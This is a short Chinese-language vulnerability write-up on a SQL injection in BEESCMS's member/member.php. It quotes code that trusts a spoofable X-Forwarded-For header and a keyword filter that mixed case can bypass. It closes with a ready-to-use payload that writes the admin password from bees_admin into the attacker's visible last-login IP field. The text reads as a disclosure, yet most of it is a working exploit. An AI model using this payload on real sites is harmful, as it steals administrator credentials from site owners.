member/member.php文件 //........................ $ip=fl_html(fl_value(get_ip())); $sql="update ".DB_PRE."member set member_time='{$addtime}',member_ip='{$ip}' where id={$last_id}"; $GLOBALS['mysql']->query($sql); //........................ 跟踪。{$_SESSION['m_ip']}来源。 elseif($action=='out'){ $m_ip=fl_html(fl_value(get_ip())); $_SESSION['m_ip']=$m_ip; 跟踪。fl_html(fl_value(get_ip()))来源。 get_ip()函数 www.2cto.com function get_ip(){ if(!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else return $_SERVER['REMOTE_ADDR']; } } get_ip()函数可伪造。 fl_value()函数 function fl_value($str){ if(empty($str)){return;} return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\sss=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/','',$str);//大小写可绕过。 } fl_ html ()函数不影响我们。 function fl_html($str){ return htmlspecialchars($str); } exp:注册用户。修改X-Forwarded-For:127.1',member_ip=(SELECT admin_password FROM bees_admin) whEre member_user='你的用户'#。登陆。上次登陆IP变为管理员密码
查看更多关于beescms X-Forwarded-For 注射 - 网站安全 - 自学php的详细内容...